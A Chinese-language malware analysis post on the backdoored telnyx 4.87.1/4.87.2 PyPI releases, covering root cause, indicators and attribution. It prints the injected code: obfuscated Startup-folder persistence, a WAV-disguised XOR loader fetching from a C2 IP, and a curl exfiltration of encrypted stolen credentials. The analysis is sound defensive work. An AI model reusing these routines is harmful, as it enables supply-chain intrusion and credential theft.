PyPI 上遭入侵的 Telnyx:WAV 隐写术与凭证窃取

TL;DR

两个版本的 telnyx(4.87.1 和 4.87.2)于 2026 年 3 月 27 日发布到 PyPI,其中包含被注入恶意代码的 telnyx/_client.py。该 telnyx 包平均每月下载量超过 100 万次(约 30,000 次/天),使其成为一次高影响的供应链攻击事件。有效载荷从远程服务器下载隐藏在 WAV 音频文件中的第二阶段二进制文件,然后在 Windows 上植入持久性可执行文件,或在 Linux/macOS 上窃取凭据。窃取的数据使用 AES-256-CBC 和硬编码的 RSA-4096 公钥进行加密后再外传。RSA 密钥和操作模式与 litellm PyPI 入侵事件一致,因此高度确信此次攻击可归因于 TeamPCP。

影响:​

  • 下载并执行伪装在 WAV 音频文件中的任意二进制文件(隐写术)
  • 在 Windows 上:将持久性可执行文件植入启动文件夹作为 msbuild.exe
  • 在 Linux/macOS 上:窃取凭据,使用 AES-256-CBC + RSA-4096 进行加密,然后通过 HTTP POST 外传
  • import telnyx 时自动执行,无需用户交互

入侵指标(IoC):​

  • 软件包:telnyx==4.87.1(SHA256:7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9)、telnyx==4.87.2(SHA256:cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3
  • C2 服务器:83[.]142[.]209[.]203:8080
  • 有效载荷 URL:hxxp://83[.]142[.]209[.]203:8080/ringtone.wav(Linux/macOS)、hxxp://83[.]142[.]209[.]203:8080/hangup.wav(Windows)
  • Windows 持久性:%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe
  • 外传请求头:X-Filename: tpcp.tar.gz

分析

软件包概述

telnyx 是 Telnyx 通信 API 的官方 Python SDK,用于可编程电话、短信和网络服务。该软件包通过维护者邮箱 Telnyx <[email protected]> 发布到 PyPI。

2026 年 3 月 27 日,一个安全问题被提交,报告 4.87.1 和 4.87.2 版本包含 GitHub 源代码仓库中不存在的注入代码。最后一个干净版本 4.87.0 有对应的 GitHub 发行标签(v4.87.0,发布于 3 月 26 日)。4.87.1 和 4.87.2 都没有对应的发行版或标签,表明 PyPI 发布凭据已被入侵。

这与 litellm 入侵事件 相同的攻击模式:攻击者使用被盗凭据直接向 PyPI 发布木马化版本,而源代码仓库保持干净。GitHub 源代码不是类型混淆攻击:软件包元数据(作者、主页、依赖项)与合法项目完全相同。

两个恶意版本中唯一被修改的文件是 telnyx/_client.py。恰好注入了 74 行恶意代码:文件顶部的导入语句、中间的 base64 编码有效载荷变量,以及在合法类定义之后追加的攻击函数。

根因分析

GitHub 仓库没有入侵迹象。查询仓库事件时间线显示,所有最近的推送事件都来自 stainless-app[bot],即管理整个 CI/CD 管道的 Stainless SDK 代码生成平台:

bash
$ gh api "repos/team-telnyx/telnyx-python/events?per_page=100" --paginate \ | jq -r '.[] | select(.type=="PushEvent") | [.created_at, .actor.login, .payload.ref] | @tsv' | tail -10
plaintext
2026-03-26T19:24:58Z stainless-app[bot] refs/heads/release-please-... 2026-03-26T19:25:26Z stainless-app[bot] refs/heads/release-please-... 2026-03-26T19:27:31Z stainless-app[bot] refs/heads/master 2026-03-26T19:27:54Z stainless-app[bot] refs/heads/next 2026-03-26T19:28:34Z stainless-app[bot] refs/heads/generated 2026-03-27T00:01:28Z stainless-app[bot] refs/heads/generated 2026-03-27T00:01:30Z stainless-app[bot] refs/heads/next 2026-03-27T00:01:51Z stainless-app[bot] refs/heads/release-please-... 2026-03-27T00:22:36Z stainless-app[bot] refs/heads/generated 2026-03-27T00:22:38Z stainless-app[bot] refs/heads/next

没有强制推送,没有未知操作者,没有来自外部贡献者的可疑 PR。v4.87.1 和 v4.87.2 都没有对应的 GitHub 发行版或标签:

bash
$ gh api "repos/team-telnyx/telnyx-python/git/ref/tags/v4.87.1" 2>/dev/null # 404 Not Found $ gh api "repos/team-telnyx/telnyx-python/git/ref/tags/v4.87.2" 2>/dev/null # 404 Not Found

PyPI 的发布工作流于 3 月 26 日成功为 v4.87.0 运行,之后未再运行。恶意版本是直接上传到 PyPI 的,完全绕过了 GitHub Actions:

bash
$ gh api "repos/team-telnyx/telnyx-python/actions/workflows/publish-pypi.yml/runs?per_page=5" \ --jq '.workflow_runs[] | [.created_at, .event, .head_branch, .conclusion] | @tsv'
plaintext
2026-03-26T19:27:42Z release v4.87.0 success 2026-03-25T17:02:25Z release v4.86.1 success 2026-03-24T21:33:31Z release v4.86.0 success 2026-03-24T20:46:38Z release v4.85.0 success 2026-03-24T17:23:03Z release v4.84.0 success

v4.87.1 或 v4.87.2 没有发布运行。也不存在 workflow_dispatch(手动)运行。

上传工具指纹证实了这一点。v4.87.2 的 PyPI 元数据显示 twine/6.2.0 CPython/3.14.3 为上传客户端。合法的 CI 管道使用 rye publish(Rye 0.44.0),产生不同的指纹:

bash
# bin/publish-pypi (what the CI pipeline runs) rye publish --yes --token=$PYPI_TOKEN
plaintext
# PyPI metadata for v4.87.2 (what actually uploaded the malicious version) Uploaded via: twine/6.2.0 CPython/3.14.3

此工具不匹配表明攻击者是使用被盗 API 令牌手动上传恶意 wheel 的,而不是通过仓库的自动化发布流程。

发布工作流 使用存储为 GitHub Actions 密钥的静态 PyPI API 令牌:

yaml
env: PYPI_TOKEN: ${{ secrets.TELNYX_PYPI_TOKEN || secrets.PYPI_TOKEN }}

未配置 PyPI 受信任发布者(OIDC)。受信任发布者将 PyPI 上传绑定到特定的 GitHub 仓库和工作流,使被盗令牌在上下文之外毫无用处。没有此保护,任何拥有 API 令牌的人都可以从任何机器上传任何版本。

我们检查了工作流级别的凭据暴露。仓库未使用 Trivy 或任何其他在 之前的 TeamPCP 活动 中被入侵的安全扫描工具:

bash
$ gh search code "trivy" --repo team-telnyx/telnyx-python # No results

release-doctor.yml 工作流使用 pull_request(而非 pull_request_target),因此分叉 PR 无法访问密钥。未发现工作流级别的凭据暴露。

最可能的情况是 PYPI_TOKEN 是通过先前的凭据窃取操作获得的。TeamPCP 的活动已展示出从被入侵环境中窃取 CI/CD 密钥的能力:litellm 入侵事件 被追溯到中毒的 Trivy 二进制文件,该文件从 CI 运行器中外传了 PYPI_PUBLISH_PASSWORD。类似的凭据窃取,无论是来自被入侵的 CI 工具、开发者工作站,还是拥有令牌访问权限的第三方服务,都可能是这里的入侵向量。

有效载荷分析

警告:​ 以下所有分析均在用作文件系统沙箱的隔离容器中进行。请勿在主机系统上执行恶意软件包中的任何代码。仅下载并解压;切勿 pip install 受入侵的 wheel。

我们直接从 PyPI 下载了恶意 wheel 和最后一个已知干净版本,未进行安装。工件 URL 来自 SafeDep 社区 API:

bash
# Malicious versions curl -sL -o telnyx-4.87.1.whl \ "https://files.pythonhosted.org/packages/83/b7/5e93f51cd157cc8cf5599f387e587a1926d50fc7e54fb76d04b342341fb0/telnyx-4.87.1-py3-none-any.whl" curl -sL -o telnyx-4.87.2.whl \ "https://files.pythonhosted.org/packages/5a/73/87cb49434a1f89f253819b81993d3a4e65186ae08b013b9825633ceac359/telnyx-4.87.2-py3-none-any.whl" # Last known clean version curl -sL -o telnyx-4.87.0.whl \ "https://files.pythonhosted.org/packages/f2/08/a03c3d158a35dc8553a5dcc3c3405bad3dd6f4ab23cb7823c9152602f7c8/telnyx-4.87.0-py3-none-any.whl"

下载的工件的 SHA256 哈希值与安全问题中报告的值匹配:

plaintext
7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9 telnyx-4.87.1.whl cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3 telnyx-4.87.2.whl

Python wheel 是 ZIP 归档文件。我们在未安装的情况下解压了它们,并将干净版本与恶意版本进行了 diff。diffstat 输出确认仅修改了一个文件:

plaintext
telnyx/_client.py | 74 +++++++++++++++++++++++++++++++ 1 file changed, 74 insertions(+)

diff 的第一部分显示了注入到文件顶部的恶意导入:

diff
--- clean-4.87.0/telnyx/_client.py +++ mal-4.87.1/telnyx/_client.py @@ -1,12 +1,19 @@ # File generated from our OpenAPI spec by Stainless. from __future__ import annotations - +import subprocess +import tempfile +import time import os +import base64 +import sys +import wave +import os from typing import TYPE_CHECKING, Any, Mapping from typing_extensions import Self, override import httpx +import urllib.request from . import _exceptions

完整 diff 显示在三个注入点共增加了 74 行:顶部的这些导入、中间的 base64 编码有效载荷变量(第 459 行),以及在合法类定义之后追加的攻击函数(第 7758 行之后)。

使用 shell 工具静态解码 base64 编码的字符串(从不执行该包)揭示了混淆值:

bash
echo "QVBQREFUQQ==" | base64 -d # APPDATA echo "bXNidWlsZC5leGU=" | base64 -d # msbuild.exe echo "aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg==" | base64 -d

_p 有效载荷变量(第 459 行 4,436 字符的 base64 字符串)解码为可读的 83 行凭据窃取脚本。此解码有效载荷中的 RSA 公钥与 litellm 入侵事件中的密钥逐字节匹配,确认了共享作者身份。

将两个恶意版本相互比较显示有一处更改:

diff
--- mal-4.87.1/telnyx/_client.py +++ mal-4.87.2/telnyx/_client.py @@ -7820,6 +7820,6 @@ AsyncClient = AsyncTelnyx -Setup() +setup() FetchAudio()

这确认 4.87.2 是攻击者的错误修复版本,纠正了导致 Windows 有效载荷无法执行的大小写错误。

执行触发

恶意代码在 telnyx 被导入时在模块范围内执行。文件底部的两个函数被无条件调用:

python
# telnyx/_client.py (lines 7823-7825, version 4.87.2) setup() FetchAudio()

由于 _client.py 作为 telnyx 包初始化的一部分被导入,任何执行 import telnyx 的代码都会触发有效载荷。无需显式函数调用。

版本 4.87.1 包含一个错误:第 7823 行的调用读取 Setup()(大写 S),而函数在第 7761 行定义为 setup()(小写)。文件中不存在其他 Setup 标识符。由于两个调用都在模块范围内且没有异常处理,来自 NameErrorSetup() 会在到达 FetchAudio() 之前中止模块执行。在 4.87.1 中两个攻击路径都不会执行。版本 4.87.2 纠正了大小写,使两个攻击路径都可工作。

版本Windows(setup()Linux/macOS(FetchAudio()
4.87.1已损坏(Setup() NameError 中止模块)未到达
4.87.2可用(大小写已修复)可用

恶意导入

攻击者在文件顶部添加了七个在 API 客户端库中没有合法用途的导入:

python
# telnyx/_client.py (lines 4-16, injected) import subprocess import tempfile import time import os import base64 import sys import wave ... import urllib.request

wave 导入是最具特色的:WAV 音频处理模块在 HTTP API 客户端中没有合法用途。它标志着隐写术有效载荷传递机制。

Base64 辅助函数和有效载荷变量

一个辅助函数解码在整个 Windows 攻击路径中使用的 base64 编码字符串:

python
# telnyx/_client.py (lines 41-42) def _d(s): return base64.b64decode(s).decode('utf-8')

在第 459 行,一个 4,436 字符的 base64 编码变量 _p 存储了完整的 Linux/macOS 第二阶段有效载荷:

python
# telnyx/_client.py (line 459) _p = "aW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHRlbXBmaWxlCmltcG9ydCBvcwppbXBvcnQgYmFzZTY0..."

此变量由 FetchAudio() 在分离的子进程中解码并执行。

Windows 攻击路径:setup()

setup() 函数以 Windows 机器为目标。它使用 base64 编码的字符串构建持久性路径:

python
# telnyx/_client.py (lines 7761-7804) def setup(): if os.name != 'nt': return try: p = os.path.join(os.getenv(_d('QVBQREFUQQ==')), _d('TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVw'), _d('bXNidWlsZC5leGU='))

base64 字符串解码为:

  • QVBQREFUQQ==APPDATA
  • TWljcm9zb2Z0XFdpbmRvd3NcU3RhcnQgTWVudVxQcm9ncmFtc1xTdGFydHVwMicrosoft\Windows\Start Menu\Programs\Startup
  • bXNidWlsZC5leGU=msbuild.exe

完整持久性路径解析为 %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\msbuild.exe。此目录中的可执行文件在用户登录时自动运行。文件名 msbuild.exe 模仿合法的 Microsoft Build Engine 二进制文件,该文件通常位于 C:\Windows\Microsoft.NET\

该函数实现了 12 小时锁定机制以防止重新下载:

python
# telnyx/_client.py (lines 7773-7784) if os.path.exists(l): m_time = os.path.getmtime(l) if (time.time() - m_time) < 43200: return with open(l, 'w') as f: f.write(str(time.time())) try: subprocess.run(['attrib', '+h', l], capture_output=True) except: pass

锁定文件使用 Windows attrib +h 命令隐藏。

然后它从 C2 服务器下载 WAV 文件,使用隐写术从音频数据中提取二进制文件,写入启动文件夹,然后启动它:

python
# telnyx/_client.py (lines 7786-7801) r = urllib.request.Request( _d('aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg=='), headers={_d('VXNlci1BZ2VudA=='): _d('TW96aWxsYS81LjA=')}) with urllib.request.urlopen(r, timeout=15) as d: with open(t, "wb") as f: f.write(d.read()) with wave.open(t, 'rb') as w: b = base64.b64decode(w.readframes(w.getnframes())) s, m = b[:8], b[8:] payload = bytes([m[i] ^ s[i % len(s)] for i in range(len(m))]) with open(p, "wb") as f: f.write(payload) ... subprocess.Popen([p], creationflags=0x08000000)

URL aHR0cDovLzgzLjE0Mi4yMDkuMjAzOjgwODAvaGFuZ3VwLndhdg== 解码为 http://83.142.209.203:8080/hangup.wavcreationflags=0x08000000CREATE_NO_WINDOW)确保进程在没有可见控制台窗口的情况下运行。

WAV 隐写术机制

两个攻击路径使用相同的技术将有效载荷隐藏在 WAV 音频文件中。提取过程:

  1. 从 C2 服务器下载 .wav 文件
  2. 使用 Python 的 wave 模块读取音频帧
  3. 对帧数据进行 base64 解码(音频样本本身就是 base64 编码的数据,而非实际音频)
  4. 从解码数据的前 8 个字节中提取 8 字节 XOR 密钥
  5. 使用该密钥对剩余字节进行 XOR 解密
python
# Steganography extraction (both attack paths) with wave.open(wf, 'rb') as w: raw = base64.b64decode(w.readframes(w.getnframes())) s, data = raw[:8], raw[8:] payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])

这不是传统意义上的真正隐写术(在音频的最低有效位中隐藏数据)。相反,攻击者将 base64 编码的、XOR 加密的有效载荷打包到有效的 WAV 容器中。该文件具有合法的 WAV 头,可以通过基本的文件类型检查,但音频帧数据完全是有效载荷。这种方法可以规避检查 HTTP 流量中已知恶意模式的网络安全工具:下载的文件看起来是无害的音频文件。

Linux/macOS 攻击路径:FetchAudio()

FetchAudio() 函数以非 Windows 系统为目标,通过生成一个分离的子进程来解码并执行 _p 有效载荷:

python
# telnyx/_client.py (lines 7806-7817) def FetchAudio(): if os.name == 'nt': return try: subprocess.Popen( [sys.executable, "-c", f"import base64; exec(base64.b64decode('{_p}').decode())"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, start_new_session=True ) except: pass

start_new_session=True 参数将子进程与父进程分离,因此即使导入的 Python 进程退出,凭据窃取也会继续。

解码后的 Linux/macOS 有效载荷

_p 变量解码为 83 行凭据窃取脚本。它包含在 litellm 入侵事件中找到的相同 RSA-4096 公钥:

python
# Decoded _p payload PUB_KEY_CONTENT = """-----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+ 08qNLwm3kxzFSMj84M16lmIEeQA8u1X8DGK0EmNg7m3J6C3KzFeIzvz0UTgSq6cV ... rn3JMF0xZyXNRpQ/fZZxl40CAwEAAQ== -----END PUBLIC KEY-----""" WAV_URL = "http://83.142.209.203:8080/ringtone.wav"

audioimport() 函数遵循三阶段攻击:

阶段 1:从 WAV 文件下载并解码第二阶段收割器。​

python
# Decoded _p payload req = urllib.request.Request(WAV_URL, headers={'User-Agent': 'Mozilla/5.0'}) with urllib.request.urlopen(req, timeout=15) as r: with open(wf, "wb") as f: f.write(r.read()) with wave.open(wf, 'rb') as w: raw = base64.b64decode(w.readframes(w.getnframes())) s, data = raw[:8], raw[8:] payload = bytes([data[i] ^ s[i % len(s)] for i in range(len(data))])

来自 ringtone.wav 的 WAV 被解码并进行 XOR 解密,然后通过管道传入新的 Python 解释器:

python
# Decoded _p payload with open(collected, "wb") as f: subprocess.run( [sys.executable, "-"], input=payload, stdout=f, stderr=subprocess.DEVNULL, check=True )

收割器的 stdout(收集的凭据)被捕获到临时文件中。

阶段 2:加密收集的数据。​

python
# Decoded _p payload subprocess.run(["openssl", "rand", "-out", sk, "32"], check=True) subprocess.run(["openssl", "enc", "-aes-256-cbc", "-in", collected, "-out", ef, "-pass", f"file:{sk}", "-pbkdf2"], check=True, stderr=subprocess.DEVNULL) subprocess.run(["openssl", "pkeyutl", "-encrypt", "-pubin", "-inkey", pk, "-in", sk, "-out", ek, "-pkeyopt", "rsa_padding_mode:oaep"], check=True, stderr=subprocess.DEVNULL) subprocess.run(["tar", "-czf", bn, "-C", d, "payload.enc", "session.key.enc"], check=True)

该进程生成一个随机的 32 字节 AES 会话密钥,使用 AES-256-CBC 加密收集的数据,然后使用攻击者的 RSA-4096 公钥和 OAEP 填充加密会话密钥。两个加密文件被捆绑到一个 tarball 中。

阶段 3:外传。​

python
# Decoded _p payload subprocess.run([ "curl", "-s", "-o", "/dev/null", "-w", "%{http_code}", "-X", "POST", "http://83.142.209.203:8080/", "-H", "Content-Type: application/octet-stream", "-H", "X-Filename: tpcp.tar.gz", "--data-binary", f"@{bn}" ], check=True, stderr=subprocess.DEVNULL)

tarball 通过 HTTP POST 外传到 83[.]142[.]209[.]203:8080X-Filename: tpcp.tar.gz 请求头是 TeamPCP 的签名,与 litellm 攻击中使用的请求头相同。

归因于 TeamPCP

基于与 litellm 入侵事件的三个共享指标,此次攻击高度确信归因于 TeamPCP:

  1. 相同的 RSA-4096 公钥。​ 解码有效载荷中的公钥(MIICIjANBgkqhkiG9w0BAQEFAAOC...)与 litellm 1.82.8 第一阶段编排器中嵌入的密钥逐字节匹配。只有持有对应私钥的人才能解密外传的数据。
  2. tpcp.tar.gz 归档名称和 HTTP 请求头。​ 两次攻击都将外传数据捆绑为 tpcp.tar.gz,并在外传期间使用 X-Filename: tpcp.tar.gz 请求头。"TPCP" 代表 TeamPCP。
  3. 通过 openssl CLI 的 AES-256-CBC + RSA OAEP 加密方案。​ 相同的 openssl randopenssl enc -aes-256-cbcopenssl pkeyutl -encrypt ... -pkeyopt rsa_padding_mode:oaep 命令序列出现在两个有效载荷中。

操作演变值得注意:litellm 使用被入侵的域名(models.litellm.cloud)作为 C2,而 telnyx 使用原始 IP 地址(83.142.209.203)。WAV 隐写术技术是此次攻击的新技术,在 litellm 入侵事件中未观察到,表明该攻击者正在积极开发其传递机制。

版本进展

两个恶意版本揭示了攻击者的迭代周期:

  • 4.87.1:初始发布。包含大小写错误(第 7823 行的 Setup() vs 第 7761 行的 def setup()),导致在模块范围内引发 NameError,阻止两个攻击路径执行。
  • 4.87.2:稍后发布。将大小写修复为 setup(),使两个攻击路径都可工作。两个版本之间没有其他更改。

这个快速错误修复版本表明攻击者正在监控有效载荷的行为,并在数小时内纠正了错误。

结论

被入侵的 telnyx 4.87.1 和 4.87.2 包已确认为恶意软件。它们代表了 TeamPCP 通过入侵 PyPI 发布凭据分发凭据窃取有效载荷的活动的延续。WAV 隐写术传递机制是该攻击者的一项新技术,旨在通过将有效载荷伪装为音频文件来绕过网络检查工具。

安装了任一版本的用户应轮换其环境中存在的所有凭据,检查 Windows 启动文件夹中是否有 msbuild.exe,并审计系统中是否有到 83[.]142[.]209[.]203 的连接。

请固定到 telnyx==4.87.0(或最新的已知干净版本),直到维护者确认入侵已解决并发布经过验证的干净版本。使用 SafeDep vet 在安装前检查软件包是否存在已知恶意软件信号。

参考

SafeDep 博客最新内容

关注以获取开源安全与工程的最新更新和见解